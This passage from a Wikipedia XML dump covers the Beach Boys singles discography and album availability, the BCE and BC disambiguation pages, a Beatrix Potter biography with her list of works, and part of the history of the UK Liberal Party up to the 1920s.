# Be True To Your School/In My Room  (Capitol 5069/[[14 October]] [[1963]]) '''US: 6'''
# Little Saint Nick/The Lord’s Prayer  (Capitol 5096/[[2 December]] [[1963]]) '''US: 3 (x-mas)'''
# Fun, Fun, Fun/Why Do Fools Fall In Love  (Capitol 5118/[[3 February]] [[1964]]) '''US: 5'''
# I Get Around/Don’t Worry Baby  (Capitol 5174/[[11 May]] [[1964]]) '''US: 1'''; '''UK: 7'''
# When I Grow Up/She Knows Me Too Well  (Capitol 5245/[[17 August]] [[1964]]) '''US: 9'''; '''UK: 27'''
# Dance, Dance, Dance/The Warmth Of The Sun  (Capitol 5306/[[26 October]] [[1964]])  '''US: 8'''; '''UK: 24'''
# The Man With All The Toys/Blue Christmas  (Capitol 5312/[[16 November]] [[1964]]) '''US: 3 (x-mas)'''
# Do You Wanna Dance/Please Let Me Wonder  (Capitol 5372/[[8 February]] [[1965]]) '''US: 12'''
# Help Me, Rhonda/Kiss Me, Baby  (Capitol 5395/[[5 April]] [[1965]]) '''US: 1'''; '''UK: 27'''
# California Girls/Let Him Run Wild  (Capitol 5464/[[12 July]] [[1965]]) '''US: 3'''; '''UK: 26'''
# The Little Girl I Once Knew/There’s No Other (Like My Baby)  (Capitol 5540/[[8 November]] [[1965]]) '''US: 20'''
# Barbara Ann/Girl Don’t Tell Me  (Capitol 5561/[[20 December]] [[1965]])  '''US: 2''';'''UK: 3'''
# Caroline, No/Summer Means New Love  (Capitol 5610/[[7 March]] [[1966]]) '''US: 32'''  '''credited to Brian Wilson'''
# Sloop John B/You’re So Good To Me  (Capitol 5602/[[21 March]] [[1966]]) '''US: 3'''; '''UK: 2'''
# Wouldn’t It Be Nice/God Only Knows  (Capitol 5706/[[11 July]] [[1966]]) '''US: 8'''; '''UK: 2'''
# Good Vibrations/Let’s Go Away For Awhile  (Capitol 5676/[[10 October]] [[1966]])  '''US: 1'''; '''UK: 1'''
# Then I Kissed Her (written by Phil Spector/E. Greenwich/J. Barry) (Capitol HF 298/[[ May]][[1967]]) '''UK: 5'''
# Heroes and Villains/You’re Welcome  (Brother 1001/[[24 July]] [[1967]]) '''US: 12'''; '''UK: 8'''
# Gettin’ Hungry/Devoted To You  (Brother 1002/[[28 August]] [[1967]]) '''credited to Brian and Mike'''
# Wild Honey/Wind Chimes  (Capitol 2028/[[23 October]] [[1967]]) '''US: 31'''; '''UK: 29'''
# Darlin’/Here Today  (Capitol 2068/[[11 December]] [[1967]]) '''US: 19'''; '''UK: 11'''
# Friends/Little Bird  (Capitol 2160/[[8 April]] [[1968]]) '''US: 47'''; '''UK: 25'''
# Do It Again/Wake The World  (Capitol 2239/[[15 July]] [[1968]]) '''US: 20'''; '''UK: 1'''
# Bluebirds Over The Mountain/Never Learn Not To Love  (Capitol 2360/[[2 December]] [[1968]]) '''US: 61'''; '''UK: 33'''         
# I Can Hear Music/All I Want To Do  (Capitol 2432/[[24 February]] [[1969]]) '''US: 24'''; '''UK: 10'''
# Break Away/Celebrate The News  (Capitol 2560/[[23 June]] [[1969]]) '''US: 63'''; '''UK: 6'''
# Add Some Music To Your Day/Susie Cincinnati  (Brother 0894/[[23 February]] [[1970]]) '''US: 64'''
# Cottonfields/The Nearest Faraway Place (Capitol 2765/[[20 April]] [[1970]]) '''US: 103'''; '''UK: 5'''
# Slip On Through/This Whole World  (Brother 0929/[[29 June]] [[1970]])
# Tears In The Morning/It’s About Time (Brother 0957/November 1970)
# Cool, Cool Water/Forever (Brother 0998/February 1971) 
# Wouldn't It Be Nice (Live from The Big Sur Folk Festival) b/w &quot;The Times They Are A-Changin'&quot; (B-side by Merry Clayton)  (Ode 66016 /April 1971)
# Long Promised Road/Deidre  (Brother 1015/[[24 May]] [[1971]])  
# Long Promised Road/Til I Die  (Brother 1047/[[11 October]] [[1971]]) '''US: 89'''
# Surf’s Up/Don’t Go Near The Water  (Brother 1058/[[8 November]] [[1971]]) 
# You Need A Mess Of Help To Stand Alone/Cuddle Up  (Brother 1091/[[15 May]] [[1972]]) 
# Marcella/Hold On Dear Brother  (Brother 1101/[[26 June]] [[1972]]) '''US: 110'''
# Sail On, Sailor/Only With You  (Brother 1138/[[29 January]] [[1973]]) '''US: 79'''
# California Saga (On My Way To Sunny Californ-i-a)/Funky Pretty  (Brother 1156/[[16 April]] [[1973]]) '''US: 84'''; '''UK: 37'''
# Child Of Winter (Christmas Song)/Susie Cincinnati  (Brother 1321/[[23 December]] [[1974]])
# Sail On, Sailor/Only With You  (Brother 1325/[[10 March]] [[1975]]) '''US: 49'''
# Rock And Roll Music/The TM Song  (Brother 1354/[[24 May]] [[1976]]) '''US: 5'''; '''UK: 36'''
# It’s O.K./Had To Phone Ya  (Brother 1368/[[9 August]] [[1976]]) '''US: 29'''
# Everyone’s In Love With You/Susie Cincinnati  (Brother 1375/[[1 November]] [[1976]])  
# Honkin’ Down The Highway/Solar System  (Brother 1389/[[30 May]] [[1977]])
# Peggy Sue/Hey Little Tomboy  (Brother 1394/[[28 August]] [[1978]]) '''US: 59'''
# Here Comes The Night/Baby Blue  (Caribou ZS9 9026/[[19 February]] [[1979]]) '''US: 44'''; '''UK: 37'''
# Good Timin’/Love Surrounds Me  (Caribou ZS9 9029/[[16 April]] [[1979]]) '''US: 40'''
# Lady Lynda/Full Sail  (Caribou ZS9 9030/June 1979) '''UK: 7'''
# It’s A Beautiful Day/Sumahama (Caribou ZS9 9031/September 1979) '''UK: 45'''
# Goin’ On/Endless Harmony  (Caribou ZS9 9032/[[11 March]] [[1980]]) '''US: 83'''
# Livin’ With A Heartache/Santa Ana Winds  (Caribou ZS9 9033/[[20 May]] [[1980]]) 
# Beach Boys Medley (October 1981) '''US: 12'''
# Come Go With Me/Don’t Go Near The Water  (Caribou ZS4 02633/[[2 November]] [[1981]]) '''US: 18'''
# Chasin' The Sky (1984)
# Getcha Back/Male Ego  (Caribou ZS4 04913/[[8 May]] [[1985]]) '''US: 26'''
# It’s Gettin’ Late/It’s O.K.  (Caribou ZS4 05433/[[17 July]] [[1985]]) '''US: 82'''
# She Believes In Love Again/It’s Just A Matter Of Time  (Caribou ZS4 05624/[[2 October]] [[1985]]) 
# Rock’n’Roll To The Rescue/Good Vibrations (Live In London)  (Capitol 5595/[[9 June]] [[1986]]) '''US: 68'''
# California Dreamin’/Lady Liberty  (Capitol 5630/[[1 September]] [[1986]]) '''US: 57'''
# Happy Endings ('''with Little Richard''')/California Girls  (Critique 99392/November 1987) -
# Kokomo/Tutti Frutti ('''Little Richard''')  (Elektra 69385/[[18 July]] [[1988]]) '''US: 1'''; '''UK: 25'''
# Still Cruisin’/Kokomo  (Capitol 44445/[[7 August]] [[1989]]) '''US: 93'''
# Somewhere Near Japan/Kokomo  (Capitol 44475/January 1990)
# Problem Child/Tutti Frutti  ('''Little Richard''')  (RCA 2646/July 1990)
# Crocodile Rock (1991)
# Hot Fun In The Summertime/Summer Of Love  (Brother 5247/July 1992) 
# Under The Boardwalk (1994 - Promo Only)
# Summer Of Love/I'm Always Here (other artist) (1995)
# Little Deuce Coupe ('''with James House''') (1996) '''US Country Chart: 69'''
# I Can Hear Music ('''with Kathy Troccoli''')  (River North 3011/August 1996) '''US Country Chart: 73'''
# Long Tall Texan ('''with Doug Supernaw''') (1996-Promo only) '''US Country Chart: 69'''
# Fun, Fun, Fun ('''with Status Quo''') (1997)

===EPs===

# Four By the Beach Boys (Capitol R 5267/[[21 September]] [[1964]])  '''US: 44'''
:*A: Little Honda; Wendy
:*B: Don’t Back Down; Hushabye

== Album availability ==

* With the exception of ''Pet Sounds'', ''The Beach Boys' Christmas Album'', and the three albums since 1989, all the Beach Boys albums are available in a two-[[Vinyl record|LP]]-on-one-[[CD]] format. The rereleases of the 1960s albums also include bonus tracks.
* ''Pet Sounds'' is available on both CD and [[DVD-Audio]]. A four-disc box set including numerous outtakes and alternate versions is also available. One CD release has both the stereo and mono mixes of the classic album as well as an alternate session outtake entitled ''Hang Onto Your Ego ''
* ''The Beach Boys' Christmas Album'' is available both on its own and as part of the ''Ultimate Christmas'' album, which includes tracks from an aborted 1977 [[Christmas]] album.
* ''Still Cruisin''', ''Summer in Paradise'', and ''Stars and Stripes Vol. 1'' are currently out of print, but can be found used on CD.
* The 1993 box set ''[[Good Vibrations: Thirty Years of The Beach Boys]]'' presents a comprehensive review of the group's career plus a number of rare tracks, including some from the legendary ''Smile'' sessions.

Three albums have been released since the group's split. 
*''[[Endless Harmony Soundtrack]]'' is a compilation of otherwise unreleased tracks together with remixes of better-known tracks; a good introduction to the band, containing no duplications of earlier releases except the title track.
*''[[Hawthorne, CA (album)|Hawthorne, CA]]'' is a less successful, two-CD set along the same lines.  
*''[[Good Timin': Live at Knebworth England 1980]]'' is a studio-enhanced concert recording.

==References==
Whitburn, Joel, ''The Billboard Book of Top 40 Hits'', 1992&lt;br/&gt;
Wilson, Brian (with Todd Gold), ''Wouldn't It Be Nice, My Own Story'', 1991

==See also==
*[[Best selling music artists]]

== External links ==
*[http://thebeachboys.com/ Official site]
*[http://BeachBoys.com/ www.BeachBoys.com]
*[http://www.beachboysfanclub.com/ The Beach Boys Fan Club]
*[http://angelfire.com/la/Beachboysbritain Beach Boys Britain]
*[http://www.soundtrackinfo.com/search.asp?q=The+Beach+Boys&amp;pos=2 The Beach Boys @ the SoundtrackINFO project]
*[http://www.vghf.com/Inductees/beach_boys.htm Vocal Group Hall of Fame page on The Beach Boys]
*[http://www.rockhall.com/hof/inductee.asp?id=65 Rock &amp; Roll Hall of Fame page on The Beach Boys]
*[http://Brianwilson.com Brian Wilson's official site]
*[http://mikelovefanclub.com The Mike Love Fan Club]
*[http://www.aljardine.com Al Jardine's official site]
*[http://www.carlwilsonfoundation.org The Carl Wilson Foundation]
*[http://fun_fun_fun.tripod.com/setlists.html Eric Aniversario's Beach Boys setlist archive]
*[http://www.btinternet.com/~bellagio/ Bellagio 10452 - timeline and discography]
*[http://www.surfermoon.com/main.html Mike Wheeler's Brian Wilson page - ''CabinEssence'']
*[http://www.btinternet.com/~bellagio/Riaa.html Recording Industry Association of America Awards]
*[http://www.pob.ch.vu Pacific Ocean Blue - rare MP3s]

[[Category:American musical groups|Beach Boys, The]]
[[Category:The Beach Boys|*]]
[[Category:1960s music groups|Beach Boys, The]]
[[Category:1970s music groups|Beach Boys, The]]
[[Category:1980s music groups|Beach Boys, The]]
[[Category:Rock music groups|Beach Boys, The]]
[[Category:Rock and Roll Hall of Fame inductees|Beach Boys, The]]
[[Category:Surf groups|Beach Boys,The]]

[[da:The Beach Boys]]
[[de:The Beach Boys]]
[[es:The Beach Boys]]
[[fr:The Beach Boys]]
[[it:Beach Boys]]
[[hu:The Beach Boys]]
[[nl:The Beach Boys]]
[[ja:ザ・ビーチ・ボーイズ]]
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  </page>
  <page>
    <title>BCE</title>
    <id>4479</id>
    <revision>
      <id>29788324</id>
      <timestamp>2005-12-01T09:13:35Z</timestamp>
      <contributor>
        <username>Teque5</username>
        <id>202729</id>
      </contributor>
      <comment>odd setence removed</comment>
      <text xml:space="preserve">'''BCE''' is a [[TLA]] (Three Letter Acronym) that may stand for: 

* [[Common Era|Before the Common Era]], Before the Christian Era, or Before the Current Era. Date notation equivalent to BC (Before Christ).  Common Era (CE), Christian Era, or Current Era is the equivalent alternative to [[Anno Domini|AD]].&lt;br&gt;
* [[European Central Bank]] in some [[Romance languages]] (e.g., ''Banco Central Europeo'')
* [[Banco Central del Ecuador]]
* [[Bell Canada Enterprises]], [[Canada]]'s largest telecom corporation
* [[British Columbia Hydro and Power Authority]] {{reporting mark|BCE}}
* [[Broadcasting Center Europe]]

{{TLAdisambig}}

[[fr:BCE]]</text>
    </revision>
  </page>
  <page>
    <title>BC</title>
    <id>4480</id>
    <revision>
      <id>41615528</id>
      <timestamp>2006-02-28T15:10:15Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 20|Feb 20]] using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''BC''' may stand for:

*[[Before Christ]]: refers to a year before the beginning of the year count that starts with the supposed year of the birth of Jesus
*[[Ballistic coefficient]] : a measure of air drag on a projectile by calculating a ratio its sectional density to its coefficient of form
*[[Boston College]] : a university in [[Chestnut Hill, Massachusetts]]
*[[British Columbia]] : Province of [[Canada]] 
*[[Baja California]] : State of [[Mexico]]. 
*[[B.C. (comic)]] : [[Print syndication|syndicated]] comic strip by Johnny Hart
*[[BC (video game)]] : an as-yet unreleased computer game by Peter Molyneux
*[[bc (Unix)]] : basic calculator program.
*[[Beloit College]] : A small liberal arts college in Beloit, Wisconsin
*[[Benedictine College]] : an institution of higher education in Atchison, Kansas
*[[Bliss bibliographic classification]] : a library cataloguing system
*[[Figured bass|Basso Continuo]] : an accompaniment used in almost all genres of music in the Baroque period
*[[Boise Cascade]] : a manufacturer of paper and pulp products
*[[BookCrossing]] : releasing books from your shelf into the world
*[[Botswana]]: the obsolete [[NATO country code|NATO digram]] from the former name Bechuanaland
*[[Breath control]] : also referred to as [[Erotic asphyxiation]]
*[[Because]] : bc can be used in internet lingo to stand for this
*[[Brunswick Corporation]] : stock symbol for a consumer sporting goods manufacturer traded on the New York Stock Exchange
*[[Buoyancy compensator]] : a piece of Scuba diving equipment
*[[Skymark Airlines]] : the IATA code for Japan based airline
*[[British Columbia]] [[Pot]] : grown in British Columbia
*[[Brasseries du Cameroun]] : a brewery in Cameroon
*[[Backward compatibility]] : a compatibility of new product in place of old product
*[[British Council]]: a non-departmental public body and registered charity for cultural relations in the United Kingdom

==See also==
;BC powder
:[[BC Powder]]: name brand of pain reliever 
:&quot;B.C. powder&quot;: can also refer to the light and fluffy snow which attracts skiers and snowboarders to British Columbia 
:&quot;B/C powder&quot;: powdered chemicals in a [[fire extinguisher]] effective against burning liquids (B-rated) and gases (C-rated).
;BC wheel : the [[impossible wheel]], a unicycle, named after the comic strip [[B.C. (comic)|B.C.]]
;[[Bala Cynwyd, Pennsylvania]]

{{2CC}}

[[de:BC]]
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[[sl:BC]]
[[zh:BC]]</text>
    </revision>
  </page>
  <page>
    <title>Beatrix Potter</title>
    <id>4481</id>
    <revision>
      <id>40890833</id>
      <timestamp>2006-02-23T18:21:44Z</timestamp>
      <contributor>
        <ip>86.142.107.251</ip>
      </contributor>
      <comment>/* List of works by Beatrix Potter */</comment>
      <text xml:space="preserve">[[Image:Benjamin and Flopsy Bunny - Project Gutenberg eText 14220.jpg|thumbnail|right|250px|Potter's illustration of her [[Anthropomorphism|anthropomorphic]] rabbits &amp;mdash; in this case the married cousins, Benjamin and Flopsy Bunny (with Peter Rabbit in the background), from ''The Tale of the Flopsy Bunnies'']]

'''Beatrix Potter''', or '''Helen Beatrix Potter''' ([[July 28]] [[1866]] &amp;ndash; [[December 22]], [[1943]]) was a [[United Kingdom|British]] [[Children's literature|children's book]] [[author]] and [[illustrator]]. Her most famous character is [[Peter Rabbit]].  

Her father, Rupert Potter, although educated as a [[barrister]], spent his days at [[Gentlemen's club]]s and rarely practised. Her mother spent her time visiting or receiving visitors. Both parents lived on incomes (inheritances) from their parents. Nannies and governesses raised Beatrix and her younger brother, Bertram. When she came of age, her parents appointed her their housekeeper and discouraged any intellectual development, instead requiring her to supervise the household. An uncle attempted to introduce her as a student at the [[Royal Botanic Gardens, Kew|Royal Botanical Gardens]] at Kew, but she was rejected because she was female.

The basis of her many projects and stories were the small animals that she smuggled into the house or observed during family holidays in [[Scotland]] and the [[Lake District]]. 

Potter was one of the first to suggest that [[lichens]] were a [[Symbiosis|symbiotic]] relationship between [[fungi]] and [[algae]], but her one attempt to publish was thwarted. Her uncle had to read her paper at the scientific society because they did not admit females. 

She was encouraged to publish her story, ''[[The Tale of Peter Rabbit]]'', but she struggled to find a publisher until it was accepted in 1902. The small book and her following works were extremely well received and she gained an independent income from the sales. She also became secretly engaged to the publisher, [[Norman Warne]], but her parents were set against her marrying anyone who worked for a living. He died before the engagement, causing a breach between Beatrix and her parents. 

Potter wrote 23 books. These were published in a small format, easy for a child to hold and read. Her writing efforts abated around 1920 due to poor eyesight, though her last major work, ''The Tale of Little Pig Robinson'', was published in 1930.

In her later years she bought and ran a sheep farm in the English [[Lake District]]; she loved the landscape, and with the steady stream of royalties from her books, along with the inheritance from her parents, she bought up large areas of local land. She had been a friend of one of the founders of the [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]], and in her will, much of the property was left to the Trust &amp;mdash; cottages, 15 farms, 4000 acres (16 km&amp;sup2;) of land &amp;mdash; to ensure that its beauty could remain unspoiled. Her legacy is now part of the [[Lake District National Park]]. 

At the age of 47, Beatrix Potter married her [[solicitor]], William Heelis; they had no children. She died in [[Sawrey, Lancashire]] on [[December 22]], [[1943]].

==List of works by Beatrix Potter==

*''[[The Tale of Peter Rabbit]]'' (1902)
*''[[The Tale of Squirrel Nutkin]]'' (1903)
*''[[The Tailor of Gloucester]]'' (1903)
*''[[The Tale of Benjamin Bunny]]'' (1904)
*''[[The Tale of Two Bad Mice]]'' (1904)
*''[[The Tale of Mrs. Tiggy-Winkle]]'' (1905)
*''[[The Tale of the Pie and the Patty-Pan]]'' (1905)
*''[[The Tale of Mr. Jeremy Fisher]]'' (1906)
*''[[The Story of A Fierce Bad Rabbit]]'' (1906)
*''[[The Story of Miss Moppet]]'' (1906)
*''[[The Tale of Tom Kitten]]'' (1907)
*''[[The Tale of Jemima Puddle-Duck]]'' (1908)
*''[[The Tale of Samuel Whiskers or, The Roly-Poly Pudding]]'' (1908)
*''[[The Tale of the Flopsy Bunnies]]'' (1909)
*''[[The Tale of Ginger and Pickles]]'' (1909)
*''[[The Tale of Mrs. Tittlemouse]]'' (1910)
*''[[The Tale of Timmy Tiptoes]]'' (1911)
*''[[The Tale of Mr. Tod]]'' (1912)
*''[[The Tale of Pigling Bland]]'' (1913)
*''[[Appley Dapply's Nursery Rhymes]]'' (1917)
*''[[The Tale of Johnny Town-Mouse]]'' (1918)
*''[[Cecily Parsley's Nursery Rhymes]]'' (1922)
*''[[The Tale of Little Pig Robinson]]'' (1930)

==See also==

* [[The Tales of Beatrix Potter]]

==External links==

*[http://www.peterrabbit.com/beatrixpotter/ Biography] at [http://www.peterrabbit.com/ PeterRabbit.com]
* {{gutenberg author| id=Beatrix+Potter | name=Beatrix Potter}}
*[http://onlinebooks.library.upenn.edu/webbin/book/search?amode=start&amp;author=Potter%2c%20Beatrix a list of online e-texts]
*[http://www.liverpoolmuseums.org.uk/about/news/newsarticle.asp?id=424 Beatrix Potter's Garden at Liverpool Museum]
*[http://wiredforbooks.org/kids.htm Kids' Corner: Featuring the Stories of Beatrix Potter]
* [http://wiredforbooks.org/judytaylor/ Audio interview with Judy Taylor, biographer of Beatrix Potter. Interview by Don Swaim of CBS Radio - RealAudio]


&lt;!--categories--&gt;
[[Category:1866 births|Potter, Beatrix]]
[[Category:1943 deaths|Potter, Beatrix]]
[[Category:British illustrators|Potter, Beatrix]]
[[Category:British children's writers|Potter, Beatrix]]
[[Category:Autodidacts|Potter, Beatrix]]
[[Category:Fabulists|Potter, Beatrix]]

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    <title>Liberal Party (UK)</title>
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    <revision>
      <id>41472027</id>
      <timestamp>2006-02-27T16:04:41Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>*[[List of Liberal Party (UK) MPs]]</comment>
      <text xml:space="preserve">:''This article is about the historic Liberal Party. For the new Liberal Party formed by those opposing the 1988 merger with the SDP, see [[Liberal Party (UK, 1989)]].''
The '''Liberal Party''' was one of the two major British political parties from the early 19th century until the 1920s, and a third party of varying strength and importance up to [[1988]], when it merged with the [[Social Democratic Party (UK)|Social Democratic Party]] (the SDP) to form a new party which would become known as the [[Liberal Democrats (UK)|Liberal Democrats]].

==Origins==
[[Image:palmerston.jpg|thumb|right|Viscount Palmerston]] 

The Liberal Party grew out of the [[British Whig Party|Whigs]], which had their origins as an aristocratic faction in the reign of [[Charles II of England|Charles II]]. The Whigs were in favour of reducing the power of the Crown and increasing the power of the Parliament, and although their motives in this were originally to gain more power for themselves, the more idealistic Whigs gradually came to support an expansion of [[democracy]] for its own sake. The great figures of reforming Whiggery were [[Charles James Fox]] (died [[1806]]) and his disciple and successor [[Charles Grey, 2nd Earl Grey|Earl Grey]]. After decades in opposition the Whigs came to power under Grey in [[1830]], and carried the [[Reform Act 1832|First Reform Act]] in [[1832]].

The Reform Act was the climax of Whiggery, but also brought about the Whigs' demise. The admission of the middle classes to the franchise and to the [[British House of Commons|House of Commons]] led eventually to the development of a systematic middle class liberalism and the end of Whiggery, although for many years reforming aristocrats held senior positions in the party. In the years after Grey's retirement the party was led first by [[William Lamb, 2nd Viscount Melbourne|Lord Melbourne]], a fairly traditional Whig, and then by [[John Russell, 1st Earl Russell|Lord John Russell]], the son of a Duke but a crusading radical, and [[Henry John Temple, 3rd Viscount Palmerston|Lord Palmerston]], a renegade Irish [[Tory]] and essentially a conservative, although capable of radical gestures.

As early as [[1839]] Russell had adopted the name Liberal Party, but in reality the party was a loose coalition of Whigs in the [[House of Lords]] and [[Radicals (UK)|Radicals]] in the Commons. The leading Radicals were [[John Bright]] and [[Richard Cobden]], who represented the manufacturing towns which had gained representation under the Reform Act. They favoured social reform, personal liberty, reducing the powers of the Crown and the [[Church of England]] (many of them were [[Nonconformism|Nonconformists]]), avoidance of war and foreign alliances (which were bad for business), and above all [[free trade]]. For a century free trade was the one cause which could unite all Liberals.

In [[1841]] the Liberals lost office to the [[Conservative Party (UK)|Conservatives]] under Sir [[Robert Peel]], but their period in opposition was short, because the Conservatives split over the repeal of the [[Corn Laws]], a free trade issue, and a faction known as the [[Peelite]]s (but not Peel himself, who died soon after), defected to the Liberal side. This allowed ministries led by Russell, Palmerston and the Peelite [[George Hamilton-Gordon, 4th Earl of Aberdeen|Lord Aberdeen]] to hold office for most of the [[1850s]] and [[1860s]]. The leading Peelite was [[William Ewart Gladstone]], who was a zealous reforming [[Chancellor of the Exchequer]] in most of these governments. The formal foundation of the Liberal party is traditionally traced to [[1859]] and the formation of Palmerston's second government.

The Whig-Radical amalgam could not become a true modern political party, however, while it was dominated by aristocrats, and it was not until the departure of the &quot;Two Terrible Old Men&quot;, Russell and Palmerston, that Gladstone could become the first leader of the modern Liberal Party. This was brought about by Palmerston's death in [[1865]] and Russell's retirement in [[1868]]. After a brief Conservative interlude (during which the [[Reform Act of 1867|Second Reform Act]] was passed by agreement between the parties), Gladstone won a huge victory at the [[1868]] election and formed the first Liberal government. New constituencies with new MPs entered Westminster, such as [[Charles Reed]] the first MP for Hackney. The establishment of the party as a national membership organisation came with the foundation of the [[National Liberal Federation]] in [[1877]].

==The Gladstonian era==
[[Image:ac.gladstone2.jpg|thumb|right|William Gladstone]] 

For the next thirty years Gladstone and Liberalism were synonymous. The &quot;Grand Old Man&quot;, as he became known, was Prime Minister four times and the powerful flow of his rhetoric dominated British politics even when he was out of office. His rivalry with the Conservative leader [[Benjamin Disraeli, 1st Earl of Beaconsfield|Benjamin Disraeli]] became legendary. Gladstone was a [[High Church]] Anglican and enjoyed the company of aristocrats, but he grew more and more radical as he grew older: he was, as one wit put it, &quot;a Tory in all but essentials&quot;. [[Victoria of the United Kingdom|Queen Victoria]], who had grown up as a Whig under the tutelage of Melbourne, became a Tory in reaction against Gladstone's moralising Liberalism.

Gladstone's great achievements in office were his reforms to education, land reform (particularly in [[Ireland]], where he ended centuries of landlord oppression), the [[disestablishment]] of the (Anglican) [[Church of Ireland]], the introduction of democratic local government, the abolition of patronage in the civil service and the army, and the [[Representation of the People Act 1884|Third Reform Act]] which greatly extended democracy by giving the vote to almost all adult males. In foreign policy Gladstone was an anti-imperialist and an avoider of foreign entanglements, but even he found it hard to resist the imperialist ideology of Victorian Britain.

In [[1874]] Gladstone was defeated by the Tories under Disraeli, mainly because of a sharp [[recession]]. He formally resigned as Liberal leader and was succeeded by [[Spencer Compton Cavendish, 8th Duke of Devonshire|the Marquess of Hartington]], but he soon changed his mind and returned to active politics. He was appalled by Disraeli's pro-[[Ottoman Empire|Ottoman]] foreign policy and during [[1880]] he conducted the first modern outdoor mass election campaign in Britain, known as the [[Midlothian campaign]]. In [[1880]] the Liberals won a huge election victory, and Hartington had no choice but to stand aside and allow Gladstone to resume office.

Among the consequences of the Third Reform Act was giving the vote to the Catholic peasant masses of Ireland, and the consequent creation of an [[Irish Nationalist Party]] led by [[Charles Stewart Parnell]]. In [[1885]] this party won the balance of power in the House of Commons, and demanded [[Irish Home Rule]] (that is, the status of a self-governing [[Dominion]] for Ireland) as the price of support for a continued Gladstone ministry. Gladstone personally supported Home Rule, but a strong [[Liberal Unionist]] faction led by [[Joseph Chamberlain]] and the last of the Whig grandees, Hartington, bitterly opposed it.

The result was a catastrophic split in the Liberal Party, and heavy defeat in the [[United Kingdom general election, 1886|1886 election]] at the hands of [[Robert Gascoyne-Cecil, 3rd Marquess of Salisbury|Lord Salisbury]]. There was a final weak Gladstone ministry in [[1892]], but it also was dependent on Irish support and broke up on the rocks of Irish Home Rule. Gladstone finally retired in [[1894]], and his ineffectual successor, [[Archibald Primrose, 5th Earl of Rosebery|Lord Rosebery]], led the party to another heavy defeat in [[1895]]. Gladstone had dominated the Liberal Party for so long that it was lost without him.

==The Liberal Zenith==
[[Image:HerbertHenryAsquithSmall.jpeg|thumb|right|Herbert Henry Asquith]] 

The Liberals languished in opposition for a decade, while the coalition of Salisbury and Chamberlain held power and presided over the high noon of British imperialism. In [[1900]], led by [[Henry Campbell-Bannerman]], they bravely opposed British policy in the [[Second Boer War]], handing Salisbury a huge victory in the original &quot;[[United Kingdom general election, 1900|Khaki election]]&quot;. But with Salisbury's retirement in [[1902]] the Conservatives went into decline, and then split over the issue of free trade. In [[1906]] Campbell-Bannerman, rallying the party on a platform of free trade and land reform, led the Liberals to [[united Kingdom general election, 1906|the greatest election victory in their history]] (this was the last time the Liberals won a majority in their own right).

Although he presided over a large majority, [[Henry Campbell-Bannerman|Sir Henry Campbell-Bannerman]] was overshadowed by his ministers, most notably [[Herbert Henry Asquith]] at the Exchequer, [[Edward Grey]] at the Foreign Office, [[Richard Burdon Haldane, 1st Viscount Haldane|Richard Burdon Haldane]] at the War Office and [[David Lloyd George]] at the Board of Trade. In [[1908]] Campbell-Bannerman retired due to failing health and he was succeeded by Asquith, who stepped up the government's radicalism. Lloyd George succeeded Asquith at the Exchequer, and was in turn succeeded at the Board of Trade by [[Winston Churchill]], a recent defector from the Conservatives. Between them they provided much of the government's drive.

The Liberals pushed through numerous pioneering social reforms, such as regulation of working hours, national insurance and welfare, as well as the reform of the House of Lords. This latter issue led to a titanic struggle with the Lords, including two general elections in [[1910]], at which the Liberals retained power but lost their overall majority, being left once again dependent on the Irish Nationalists.

As a result Asquith was forced to introduce a new Home Rule bill in [[1912]]. Since the House of Lords no longer had the power to block the bill, the Unionists, led by Sir [[Edward Carson]], launched a campaign of opposition that included the threat of armed resistance in [[Northern Ireland|Ulster]], and by [[1914]] threatened to lead to a mutiny by army officers in Ireland (see [[Curragh Incident]]). In their threats of violent resistance to Home Rule the Ulster Protestants had the full support of the Conservatives, now led by an Ulsterman, [[Andrew Bonar Law]]. The country seemed to be on the brink of civil war when [[World War I]] broke out in August [[1914]].

The war struck at the heart of everything British Liberals believed in. Several Cabinet ministers resigned, and Asquith, the master of domestic politics, proved a poor war leader. Lloyd George and Churchill, however, were zealous supporters of the war, and gradually forced the old pacifist Liberals out. The poor British performance in the early months of the war forced Asquith to invite the Conservatives into a coalition (on [[May 17]], [[1915]]). This marked the end of the last all-Liberal government. This coalition fell apart at the end of [[1916]], when the Conservatives refused to support Asquith any longer and gave their support instead to Lloyd George, who became Prime Minister at the head of a coalition government largely made up of Conservatives. Asquith and his followers moved to the opposition benches in Parliament and the Liberal Party was once again split.

==Liberal decline==
[[Image:Lloyd_george.jpg|thumb|right|David Lloyd George]] 

In the [[United Kingdom general election, 1918|1918 general election]] Lloyd George, &quot;the Man who Won the War&quot;, led his coalition into another ''[[Khaki Election|khaki election]]'', and won a sweeping victory over the Asquithian Liberals and the newly-emerging [[Labour Party (UK)|Labour Party]]. Lloyd George and the Conservative leader [[Andrew Bonar Law]] wrote a joint letter of support to candidates to indicate they were considered the official Coalition candidates - this &quot;coupon&quot; as it became known was issued against many sitting Liberal MPs, often to devastating effect, though not against Asquith himself. Asquith and most of his colleagues lost their seats. Lloyd George still claimed to be leading a Liberal government, but he was increasingly a prisoner of the Conservatives. In [[1922]] the Conservative backbenchers rebelled against the continuation of the coalition in general, citing in particular the [[Chanak Crisis]] over [[Turkey]] and Lloyd George's corrupt sale of honours amongst other grievances, and Lloyd George was forced to resign. The Conservatives came back to power under Bonar Law and then [[Stanley Baldwin]].

At the [[United Kingdom general election, 1922|1922]] and [[United Kingdom general election, 1923|1923]] elections the Liberals won barely a third of the vote and a quarter of the seats in the House of Commons as many radical voters abandoned the divided Liberals and went over to Labour. In [[1922]] Labour became the official opposition. A reunion of the two warring factions took place in [[1923]] when the new Conservative Prime Minister [[Stanley Baldwin]] committed his party to protective tariffs, causing the Liberals to reunite in support of free trade. The party gained ground in the [[United Kingdom general election, 1923|1923 general election]] but ominously made most of its gains from Conservatives whilst losing ground to Labour - a sign of the party's direction for many years to come. The party remained the third largest in the House of Commons but the Conservatives had lost their majority. There was much speculation and fear about the prospect of a Labour government, but comparatively little about a Liberal government, even though it could have plausibly presented an experienced team of ministers compared to Labour's almost complete lack of experience as well as offering a middle ground that could get support from both Conservatives and Labour in crucial Commons divisions. But instead of trying to force the opportunity to form a Liberal government, Asquith decided instead to allow Labour the chance of office in the belief that they would prove incompetent and this would set the stage for a revival of Liberal fortunes at Labour's expenses. It was a fatal 